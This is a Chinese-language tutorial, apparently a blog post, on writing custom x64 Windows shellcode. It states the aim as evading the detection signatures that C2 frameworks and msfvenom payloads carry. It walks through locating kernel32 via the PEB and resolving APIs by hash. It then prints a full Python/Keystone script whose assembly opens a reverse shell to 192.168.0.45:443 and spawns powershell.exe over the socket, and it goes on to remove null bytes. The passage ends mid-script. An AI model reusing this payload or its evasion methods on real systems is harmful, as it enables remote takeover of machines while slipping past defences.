Skip to main content

Shellcode 编写 - 1

 背景

一般来说,如果我们需要执行 Shellcode,会通过各自的 C2 或者 msfvenom 来生成,但因为这些工具大部分都是开源的,即便是商业工具,也会因为样本的提交导致 Shellcode 的特征被标记。

image.png

image.png

因此,编写自定义的 Shellcode 可以实现更多的灵活性以及特征规避,同时也很有趣。


测试方法

使用 Keystone 引擎,可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架,可以与多种语言绑定,包括 Python。这样的话,我们可以在 Python 脚本中写入汇编代码,然后让 Keystone 框架完成剩下的任务。

我们首先需要通过 pip 安装 keystone 引擎:

pip3 install keystone-engine

然后使用如下的脚本模板,我们需要做的是在 CODE 变量中写入汇编代码。之后,汇编代码会被转换为 Shellcode 并被 CType 库所调用的 API 执行。

import ctypes, struct
from keystone import *

CODE = (
    " start:                             "  #
    "   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
    "   mov   ebp, esp                  ;"  #
    "   add   esp, 0xfffff9f0           ;"  #   Avoid NULL bytes
............
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X64, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

我们在代码部分最开始加入了 int 3 指令,这样当 Shellcode 被执行时,暂停在最开始的地方,方便我们调试编写的 Shellcode。在命令行中运行该 Python 脚本,脚本的运行会被 input 函数暂停。

image.png

打开 WinDBG,附加到 python.exe 进程

image.png

附加到 python.exe 进程上之后,让程序继续执行,回到脚本被执行的命令行,按下任意键,这样,我们就到了 Shellcode 的入口处。

image.png


通过 Syscall 调用的缺陷

我们在第 1 小节说过,syscall 提供从用户空间受保护内核的接口,该接口允许访问用于 I/O线程同步套接字管理等的底层操作系统功能。syscall 允许用户模式的应用程序直接访问内核,同时确保它们不会损害操作系统。一般来说,任何 Shellcode 的目的都是执行不属于原始应用程序代码逻辑的任意操作。为此,Shellcode 使用汇编指令,在漏洞利用 (exploit) 劫持应用程序的执行流后调用系统调用。

Windows NTAPI 相当于 UNIX 操作系统上的系统调用接口,通过 ntdll.dll 库向用户模式应用程序公开,但微软有意地没有提供 NTAPI 用法的官方文档。因此,它为用户模式应用提供了一种以受控方式调用位于内核中的操作系统函数的方法。在大多数 UNIX 操作系统上,系统调用接口都有详细的文档记录,并且通常可供用户应用程序使用。相比之下,由于 NT 架构的性质,NTAPI 隐藏在更高级别的 API 后面,例如 NtCreateFile 隐藏在 CreateFile 后面。内核级函数通常由用于调用相应函数的 SSN 来标识,但在 Windows 上,这些 SSN 可能随着系统更新而发生变化。但在 Linux 系统上,这些调用编号是固定的并且不会改变。我们还应该记住,Windows 上 syscall 接口导出的功能集合相当有限,这意味着我们需要避免直接 syscall 来为 Windows 编写通用且可靠的 Shellcode。

不使用 syscall 的情况下,我们与内核直接通信的唯一选项是使用 Windows API,它由核心 DLL 文件导出,在运行时映射到进程的内存空间。如果 DLL 尚未加载到进程空间中,我们需要先加载它们并找到对应的导出函数,找到这些函数之后,我们就可以将它们作为 Shellcode 的一部分来调用,以执行特定的任务。Kernel32.dll 文件导出了可用于完成这 2 项任务的函数,并且该 DLL 一般都会被映射到进程的内存中。需要注意的是,考虑到 ASLR 等内存保护措施,以及不同版本的操作系统之间的差异,我们需要避免使用硬编码函数地址,以确保我们的 Shellcode 的适用性。

Kernel32.dll 中的 LoadLibraryA 函数可用于实现 DLL 的加载,GetModuleHandleA 可用于获取已加载 DLL 的基址,GetProcAddress 可用于根据提供的函数名得到函数的地址。但我们首先要获得 LoadLibraryGetProcAddress 这 2 个函数的内存地址,也就是我们需要先找到 Kernel32.dll 的基址,然后从 Kernel32.dll 中获得这 2 个函数的地址。在这之后,我们就可以调用 LoadLibraryA 与 GetProcAddress 这 2 个函数获得任意 DLL 的基址与任意函数的地址。在此基础上,我们可以编写 Shellcode 实现例如逆向 Shell、正向 Shell、程序执行等目的了。


寻找 KERNEL32

因为我们并不会预先知道 LoadLibraryA 与 GetProcAddress 的地址,所以我们需要先定位到并解析加载到内存中的 Kernel32.dll。对于任何进程,Kernel32.dll 几乎是肯定会被加载的,因为它导出的函数对于大多数进程都是必须的。

为了找到 Kernel32 模块,在 TEB 0x60 处,访问到 PEB 的指针,对应的汇编代码如下:

mov rax, gs:[0x60]; # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址

image.png

在 PEB 的 0x18 处,访问到结构体 _PEB_LDR_DATA 的指针:

mov rsi,[rax+0x18]; # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址

image.png

访问该 _PEB_LDR_DATA 结构体,里面有多个成员,其中重要的是 3 个 双向链表,分别是 InLoadOrderModuleListInMemoryOrderModuleList,和 InInitializationOrderModuleList

image.png

InLoadOrderModuleList 按加载顺序显示上一个和下一个模块,InMemoryOrderModuleList 按内存放置顺序显示,InInitializationOrderModuleList 按初始化顺序显示。因此,即便上半部分的输出只告诉我们了 InMemoryOrderModuleList 成员,也是足够了。这 3 个双向链表都是 _LIST_ENTRY 类型的结构体,有着 2 个成员 FlinkBlink,分别保存着下一个上一个条目的地址。

image.png

我们可以选择任意一个双向链表,这里的话,我们保存 InMemoryOrderModuleList 的地址。

mov rsi,[rsi + 0x20]; # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

image.png

InMemoryOrderModuleList 当前条目的 Flink 的值为下一个条目的地址,Blink 的值为上一个条目的地址。这些条目与各条目的成员数值的关系如下图所示:

image.png

我们还会发现,这 3 个双向链表都是更大的结构体 _LDR_DATA_TABLE_ENTRY 中的成员,其中,InMemoryOrderLinks 的偏移为 0x10。因此,当前条目的地址减去 0x10 字节便可访问到该结构体的基址:

image.png

LDR、3 条 _LIST_ENTRY 类型的链表、以及 _LDR_DATA_TABLE_ENTRY 结构体这 3 者之间的关系如下:

PEB
|
|---> _PEB_LDR_DATA
      |
      |---> InLoadOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InMemoryOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InInitializationOrderModuleList (_LIST_ENTRY)
            |
            |---> _LDR_DATA_TABLE_ENTRY (module 1)
            |---> _LDR_DATA_TABLE_ENTRY (module 2)
            |---> ...

此外,我们可以在 _LDR_DATA_TABLE_ENTRY 结构体的 0x30 0x58 处分别得到当前模块的基址名称

image.png

总之,不管是使用 3 条链表中的哪条 (本小节以 InMemoryOrderLinks 为例),当前条目对应着一个加载的模块,我们可以进而得到当前模块的基址和名称。在任一条目中,如果当前条目所对应的模块不是 Kernel32.dll,则通过 Flink 访问下一个模块

不过需要注意的是,BaseDllName_UNICODE_STRING 类型的成员,字符串起始位置位于 0x08 处。

image.png

回到汇编指令:

mov r9, [rsi + 0x20];  # R9 此时保存着当前模块的基址
mov rdi, [rsi + 0x50]; # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
mov rsi, [rsi]; # 获得下一个条目的地址

得到模块名称后,我们需要与 "KERNEL32.DLL" 对比,也就是一个字符串的比较。虽然在 Windows 文件系统中,是不区分大小写的,但字符串的比较是区分的。KERNEL32.DLL 被载入后的模块名可能为 KERNEL32,可能为 kernel32,甚至可能为 Kernel32。在不确定目标主机和进程中载入模块的名称大小写命名方案的情况下,我们可以设置自己的比较标准,例如字符串占用 24 字节 (算上空字符共 12 个字符,因为是 Unicode 所以总计24 字节)、字符串整体完全比较等。但都有各自的弊端,如果比较长度,可能有其他的模块恰好也是12 个字符,如果比较整体字符串,大小的排列组合比较难以预判。

因此,这里我给出个自己的比较标准:比较 "ernel32." 这个子字符串。虽然说我们不确定模块名称的大小写,但一般要么是 KERNEL32,要么是 Kernel32,要么是 kernel32。很少会出现 kERNel 这样的大小写无规律混合的情况。代码如下:

  add rdi, 2; # 跳过K字符
check_upper: # 如果"ERNEL32."是大写
  mov r12, 0x0045004E00520045; # Unicode字符串 "ENRE"
  mov r13, 0x002e00320033004c; # Unicode字符串 ".23L"
  mov rdx, qword ptr [rdi]; # 将字符串 "ERNEL32.DLL" 复制到RDX
  mp rdx, r12;" # 将前4个字符与"ENRE"比较
  jne check_lower;" # 如果不相等,可能模块名为小写
  mov rdx, qword ptr [rdi + 8];" # 如果相等,继续比较,将".23L"复制到RDX
  cmp rdx, r13;" # 将后4个字符与".23L"比较
  jne next_module;" # 如果不相等,移动到下一个条目
  mov rax, r9;" # 保存kernel32的基址
  ret;
check_lower: # 如果"ernel32."是小写
  mov r12, 0x0065006E00720065;" # Unicode字符串 "enre"
  mov r13, 0x002e00320033006c;" # Unicode字符串 ".23l"
  mov rdx, qword ptr [rdi];"    
  cmp rdx, r12;"    
  jne next_module;" # 如果不相等,不会是大小写原因,直接进入下个条目
  mov rdx, qword ptr [rdi + 8];"    
  cmp rdx, r13;" 
  jne next_module;" 
  mov rax, r9;" 
  ret;"

最终,我们能得到 KERNEL32.DLL 的基址。

image.png


定位所需 API

得到 KERNEL32.DLL 的基址后,我们就能利用之前所学的 PE 结构的知识来获得 LoadLibraryAGetProcAddress 函数的地址了。得到函数地址的方法有 2 种:函数序数以及函数名称。因为不同版本的相同 DLL 可能有所不同,因此导出函数列表也有所差异,硬编码函数序数是不够适用的,因此我们还是提供函数名称好了。这样的话,我们的步骤如下:

1:获得e_lfanew的值从而定位到NT头
2:获得导出目录的RVA以及VMA
3:获得函数名称的数量
4:遍历ENPT表获得函数名称的RVA以及函数名称字符串
5:在OT表中获得函数序数
6:在EAT表中获得函数RVA以及VMA

前 4 步对应的汇编指令如下:

parse_module: # 解析内存中的DLL文件
  mov ecx, dword ptr [r9 + 0x3c]; # R9保存着模块的基址,获取NT头偏移
  mov r15d, dword ptr [r9 + rcx + 0x88]; # 获取导出目录的RVA
  add r15, r9;    # R14保存着导出目录的VMA
  mov ecx, dword ptr [r15 + 0x18]; # ecx保存着函数名称的数量,作为索引值
  mov r14d, dword ptr [r15 + 0x20]; # 获得ENPT的RVA
  add r14, r9; # R14 保存着ENPT的VMA
search_function: # 搜索给定函数
  jrcxz not_found; # 如果RCX为0,那么没找到给定函数
  dec ecx; # 索引减少1
  xor rsi, rsi;
  mov esi, [r14 + rcx*4]; # 函数名称字符串的RVA
  add rsi, r9; # RSI 指向函数名称字符串

不过,相比使用函数名称,对比函数名称的哈希会更加方便。并且,哈希算法不需要十分复杂,即便可能存在哈希碰撞的问题也无妨,只要任意 2 个函数名的哈希值不同即可。

哈希函数名的 Python 脚本如下:

#!/usr/bin/python
import numpy, sys

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return (int(binb, 2))
    
    
if __name__ == '__main__':
    try:
        rsi = sys.argv[1]
    except IndexError:
        print("Usage: %s INPUTSTRING" % sys.argv[0])
        sys.exit()
    # Initialize variables
    rdx = 0x00
    ror_count = 0
    for rax in rsi:
        rdx = rdx + ord(rax)
        if ror_count < len(rsi)-1:
            rdx = ror_str(rdx, 0xd)
        ror_count += 1
    print(hex(rdx))

image.png

对应的代码如下:

start:
  sub rsp, 0x30; # 函数序言
  call find_kernel32;
  add rsp, 0x30; # 函数尾声
  mov rbp, rax; # RBP保存Kernel32.dll基址
  mov r8d, 0xec0e4e8e; # LoadLibraryA哈希
  sub rsp, 0x30; # 函数序言
  call parse_module; # 搜索 LoadLibraryA函数并获得地址
  add rsp, 0x30; # 函数尾声
  mov r12, rax;
  mov r8d, 0x7c0dfcaa; # GetProcAddress哈希
  sub rsp, 0x30; # 函数序言
  call parse_module; # 搜索GetProcAddress函数并获得地址
  add rsp, 0x30; # 函数尾声
  mov r13, rax;    
............
function_hashing: # 哈希函数名函数
  xor rax, rax; 
  xor rdx, rdx;
  cld; # 清除DF标志位
iteration: # 迭代每个字节
  lodsb; # RSI的下一个字节拷贝给Al
  test al, al; # 如果到达字符串末尾
  jz compare_hash; # 比较哈希
  ror edx, 0x0d; # 哈希算法部分
  add edx, eax; # 哈希算法部分
  jmp iteration; # 下一个字节
compare_hash: # 比较哈希
  cmp edx, r8d;
  jnz search_function; # 如果不等,搜索前一个函数 (索引由大变小)
  mov r10d, [r15 + 0x24]; # 序数表RVA
  add r10, r9; # 序数表VMA
  movzx ecx, word ptr [r10 + 2*rcx]; # 函数序数值 -1
  mov r11d, [r15 + 0x1c]; # EAT的RVA
  add r11, r9; # EAT的VNA
  mov eax, [r11 + 4*rcx]; # RAX保存函数RVA
  add rax, r9; # RAX保存着函数VMA
  ret;
not_found:"
  ret;

成功得到函数的地址。

image.png


 

在下一小节,我们将讨论如何调用 API

为了能实现反向 Shell,我们需要 3 个来自 ws2_32.dll 中并对最初 函数,分别是 WSAStartupWSASocketA,和 WSAConnect。以及来自 kernel32.dll 中的 CreateProcessA 函数。因为我们已经得到了 LoadLibraryA 的地址,因此获得 ws2_32.dll 的基址也很容易。我们之前说过,Windows x64 fastcall 的调用分别将函数参数存储在 RCXRDXR8R9,以及栈空间 (如果多于 4 个参数)。尽管前 4 个参数存储于寄存器,但因为参数归位,我们至少需要为栈腾出 0x20 的空间。如果参数更多,那么也相应的增加。如果不是很自信需要腾出多大的空间,宁可多分配一些。

但是,请确保栈满足 16 字节对齐!也就是 RSP 的值一般是以 0 结尾。这里,RSP 是以 8 结尾,不满足 16 字节对齐,出现了这样的报错:

image.png

有的函数参数为结构较为复杂的结构体,我们需要在栈上为其腾出足够的空间,并将结构体的地址作为参数。

sub rsp, 0x200; # 给结构体参数腾出足够空间,不需要十分精确但需要足够大
lea rdx, [rsp]; # 获得结构体的地址作为第2个参数


WSAStartup
int WSAStartup(
        WORD      wVersionRequired, # 0x0202 == Version 2.2
  [out] LPWSADATA lpWSAData         # Pointer to where a WSADATA structure will be populated
);


WSASocketA
SOCKET WSAAPI WSASocketA(
  [in] int                 af,              # RCX   (AF_INET == 2)
  [in] int                 type,            # RDX   (SOCK_STREAM == 1)
  [in] int                 protocol,        # R8    (IPPROTO_TCP == 6)
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,  # R9    (NULL)
  [in] GROUP               g,               # Stack (NULL)
  [in] DWORD               dwFlags          # Stack (NULL)
);


WSAConnect
int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);


CreateProcessA
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

STARTINFO 结构体

微软文档中给出的结构信息:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

但在内存中,成员的大小与微软文档中的有所不同:

0:004> dt combase!STARTUPINFOA
   +0x000 cb               : Uint4B
   +0x008 lpReserved       : Ptr64 Char
   +0x010 lpDesktop        : Ptr64 Char
   +0x018 lpTitle          : Ptr64 Char
   +0x020 dwX              : Uint4B
   +0x024 dwY              : Uint4B
   +0x028 dwXSize          : Uint4B
   +0x02c dwYSize          : Uint4B
   +0x030 dwXCountChars    : Uint4B
   +0x034 dwYCountChars    : Uint4B
   +0x038 dwFillAttribute  : Uint4B
   +0x03c dwFlags          : Uint4B
   +0x040 wShowWindow      : Uint2B
   +0x042 cbReserved2      : Uint2B
   +0x048 lpReserved2      : Ptr64 UChar
   +0x050 hStdInput        : Ptr64 Void
   +0x058 hStdOutput       : Ptr64 Void
   +0x060 hStdError        : Ptr64 Void



完整的初版 Shellcode 如下:进行优化。

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   call find_kernel32;"
"   mov rbp, rax;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   call parse_module;"    # Search GetProcAddress' address
"   mov r13, rax;"    # R13 = GetProcAddress Address
"   call load_module;"    # Load ws2_32.dll

" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
"   mov r12, 0x0045004E00520045;"    # Unicode string "ENRE"
"   mov r13, 0x002e00320033004c;"    # Unicode string ".23L"
"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"
" check_lower:"
"   mov r12, 0x0065006E00720065;"    # Unicode string "enre"
"   mov r13, 0x002e00320033006c;"    # Unicode string ".23l"
"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   mov r15d, dword ptr [r9 + rcx + 0x88];"    # Fetch RVA of Export Directory
"   add r15, r9;"    # R14 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"


" load_module:"
"   mov rax, 0x6c6c  ;"   # Move "ll" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   add rsp, 0x10;"     # Clean up WS2_32.DLL string
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"

"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   mov rcx, 0x202;"    # wVersionRequired 
"   sub rsp, 0x58;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x58;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x58;"
"   mov rcx, 2;"    # 2
"   mov rdx, 1;"    # 1
"   mov r8, 6;"    # 6
"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x58;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   sub rsp, 0x200;"    # Reserve space for socketaddr
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   mov rdx, 2;"    # AF_INET = 2
"   mov [rsp], rdx;"    # Store structure socketaddr
"   mov rdx, 0xbb01;"    # Port 443 01bb
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov rdx, 0x2d00a8c0;"    # IP  192.168.0.45
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   mov r8, 0x16;"    # namelen = 16 bytes
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x58;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x58;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x6578652e6c6c;"    # Push string "exe.ll"
"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
"   mov rdx, 0x100;"     
"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov rdx, 0x68;"
"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub rdx, 0x500;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"
)


# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))








去除 0x00 字节


image.png

为了能更加直观地对应需要修改的指令,我们可以访问 https://defuse.ca/online-x86-assembler.htm#disassembly 在线工具

以下这些指令得到的机器码包含 0x00 字节

call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov     r12, 45004E00520045h
mov     r13, 2E00320033004Ch
mov     r12, 65006E00720065h
mov     r13, 2E00320033006Ch
mov     r15d, dword ptr [r9+rcx+88h]
mov     rax, 6C6Ch
mov     rcx, 202h
mov     rcx, 2
mov     rdx, 1
mov     r8, 6
sub     rsp, 200h
mov     rdx, 2
mov     rdx, 0BB01h
mov     rdx, 2D00A8C0h
mov     r8, 16h
mov     rdx, 6578652E6C6Ch
mov     rdx, 100h
mov     rdx, 68h
sub     rdx, 500h

对于 mov r12, 0x0045004e00520045 指令,我们可以换成:

mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;

这样,就没有 0x00 字节了。

image.png

对于 mov rcx, 2 这样数值较小的赋值操作,我们可以赋值负数再使用 neg 指令获得符号相反的数值:

image.png

mov rcx, 0xfffffffffffffffe;
neg rcx;

这样,我们也是消除了 0x00。

image.png


就像这样,除了函数调用指令的 0x00 字符外,其余部分修改好的如下:

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   int3;"
"   call find_kernel32;"
"   mov rbp, rax;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   call parse_module;"    # Search GetProcAddress' address
"   mov r13, rax;"    # R13 = GetProcAddress Address
"   call load_module;"    # Load ws2_32.dll

" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"

#"   mov r12, 0x0045004E00520045;"    # Unicode string "ENRE"
"   mov r12, 0x1055105E10621055;"    # Elimate 0x00 1-1
